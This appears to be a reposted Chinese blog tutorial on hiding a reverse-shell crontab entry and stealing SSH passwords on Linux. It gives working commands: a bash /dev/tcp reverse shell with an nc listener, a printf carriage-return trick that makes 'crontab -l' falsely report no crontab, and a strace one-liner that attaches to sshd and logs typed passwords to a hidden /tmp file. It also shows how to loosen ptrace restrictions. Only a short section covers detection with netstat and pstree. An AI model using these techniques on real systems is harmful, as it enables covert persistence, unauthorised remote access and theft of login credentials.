隐藏crontab和键盘记录密码

一 前言

前几天朋友发一个文章,是关于crontab的隐藏的,涨姿势了,所以就学习下,觉得还蛮实用的,于是有了这篇文章。

二 crontab隐藏

2.1 从一条命令说起

以下命令比较奇怪,我们明明输入文件内容是"abb\rocddde" 但是直接用cat输出的时候是\r后面的内容。这里面 echo -e 表示启用反斜杠转义的解释即\r 表示回车。

root@ubuntu-lab:/home/miao# echo  -e "abb\rocddde"> b.txt 
root@ubuntu-lab:/home/miao# cat b.txt 
ocddde
root@ubuntu-lab:/home/miao# cat -A b.txt
abb^Mocddde$

这说明cat在输出时候,如果有回车,则显示会有问题,用参数:-A 即可显示所有内容:

-A, --show-all
              equivalent to -vET

 -E, --show-ends
              display $ at end of each line
 -v, --show-nonprinting
              use ^ and M- notation, except for LFD and TAB
-T, --show-tabs
              display TAB characters as ^I

了解了这个缺陷,再知道crontab -l 其实是cat 此用户对应的crontab文件即: /var/spool/cron/crontabs/root

2.2 crontab 隐藏

测试的脚本涉及到shell反弹,先测试下,启动一个端口(攻击端)

root@ubuntu-lab:/home/miao# nc -lnvp 1111
Listening on 0.0.0.0 1111

被攻击端反向连接:

root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1

具体shell反弹的解释见:https://www.jianshu.com/p/41fffb0654a7简单来说把bash的输入输出,错误输出都重定向到tcp连接上去。

刚才是一次执行,如果攻击端的端口1111 没有开启的话,会报连接错误:

root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/1111: Connection refused

那么如何保证被攻击端定时连接,直到我们开启端口那,很显然我们可以采用crontab方式。

初次版本:

root@ubuntu-lab:/home/miao# echo  "*/1 * * * * bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 " >/var/spool/cron/crontabs/root
root@ubuntu-lab:/home/miao# crontab -l
*/1 * * * * bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "

显然如果这样达不到隐藏效果,隐藏下很简单加个回车就行,但是不能仅仅没显示,我们要让crontab -l展示的信息和没有配置crontab是一样的。

这样写crontab不好测试,也可以独立写个shell:

root@ubuntu-lab:/home/miao# crontab -l
*/1 * * * * sh /home/miao/1.sh

root@ubuntu-lab:/home/miao# cat 1.sh
#!/bin/bash
echo `date` >/home/miao/122
echo $? >>/home/miao/122
bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "

效果如下:

root@ubuntu-lab:/home/miao# nc -lnvp 1111
Listening on 0.0.0.0 1111
Connection received on 127.0.0.1 57768
bash: cannot set terminal process group (8552): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu-lab:~# 
root@ubuntu-lab:~# pwd
pwd
/root
root@ubuntu-lab:~# cd /home/miao
cd /home/miao
root@ubuntu-lab:/home/miao# pwd
pwd
/home/miao

隐藏的命令执行如下:

root@ubuntu-lab:/home/miao# crontab -l
no crontab for root
root@ubuntu-lab:/home/miao# (crontab -l;printf "* * * * * /home/miao/1.sh;\rno crontab for `whoami`%100c\n")|crontab -
no crontab for root
root@ubuntu-lab:/home/miao# cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Jul 24 05:28:19 2022)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
no crontab for root                                                                                                   
root@ubuntu-lab:/home/miao# cat -A /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.$
# (- installed on Sun Jul 24 05:28:19 2022)$
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)$
* * * * * /home/miaohq/1.sh;^Mno crontab for root

注意这个"%100c\n" 加了%100c即要保证回车后面的字符超过100个,换行也是模仿crontab -l的效果,如果不加%100c,回车后面的字符就从开头开始输出,会导致后面跟着前面的一些字符信息,如下:

root@ubuntu-lab:/home/miao# printf  "* * * * * /home/miao/1.sh;\rno crontab for `whoami` \n"
no crontab for root /1.sh;

到此结束。

2.3 如何检测

检测比较简单,首先用netstat 查看连接信息的进程,然后通过进程的关系查找这个进程由哪个启动的,如下:

root@ubuntu-lab:/home/miao# netstat -antp|grep 1111
tcp        1      0 0.0.0.0:1111            0.0.0.0:*               LISTEN      1786/nc             
tcp        0      0 127.0.0.1:57386         127.0.0.1:1111          ESTABLISHED 1803/bash           
tcp        0      0 127.0.0.1:57390         127.0.0.1:1111          ESTABLISHED 1870/bash           
tcp        0      0 127.0.0.1:1111          127.0.0.1:57386         ESTABLISHED 1786/nc             
tcp      133      0 127.0.0.1:1111          127.0.0.1:57390         ESTABLISHED -   

root@ubuntu-lab:/home/miao# pstree -p|grep 1803
           |-cron(1013)-+-cron(1798)---sh(1799)---1.sh(1800)---bash(1802)---bash(1803)
root@ubuntu-lab:/home/miao# 
root@ubuntu-lab:/home/miao# 
root@ubuntu-lab:/home/miao# ps -ef|grep 1013
root        1013       1  0 05:48 ?        00:00:00 /usr/sbin/cron -f -P
root        1798    1013  0 05:51 ?        00:00:00 /usr/sbin/CRON -f -P
root        1865    1013  0 05:52 ?        00:00:00 /usr/sbin/CRON -f -P
root        1913    1013  0 05:53 ?        00:00:00 /usr/sbin/CRON -f -P
root        1962    1817  0 05:53 pts/0    00:00:00 grep --color=auto 1013
root@ubuntu-lab:/home/miao# ps -ef|grep 1798
root        1798    1013  0 05:51 ?        00:00:00 /usr/sbin/CRON -f -P
root        1799    1798  0 05:51 ?        00:00:00 /bin/sh -c /home/miao/1.sh;?no crontab for root                                                                                                   
root        1973    1817  0 05:54 pts/0    00:00:00 grep --color=auto 1798

很简单,我们看到CRON启动了shell脚本:/bin/sh -c /home/miao/1.sh;?no crontab for root

三 strace 跟踪shell输入的密码

原理很简单,strace 可以跟踪应用程序的系统应用,并且可以获取应用程序的参数,那么就可以跟踪登录的sshd程序,将密码获取到。脚本比较简单:

(strace -f -F -p `ps aux|grep "/usr/sbin/sshd"|grep -v grep|awk {'print $2'}`  -e trace=read,write -s 32 2> /tmp/.ssh &)

如果报没有权限的错误,执行下面命令修改:

/etc/sysctl.d/10-ptrace.conf
中:kernel.yama.ptrace_scope为0
后执行:sysctl -p

然后通过命令搜索:

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

即可以获取密码。

猜你喜欢

转载自blog.csdn.net/mseaspring/article/details/125967081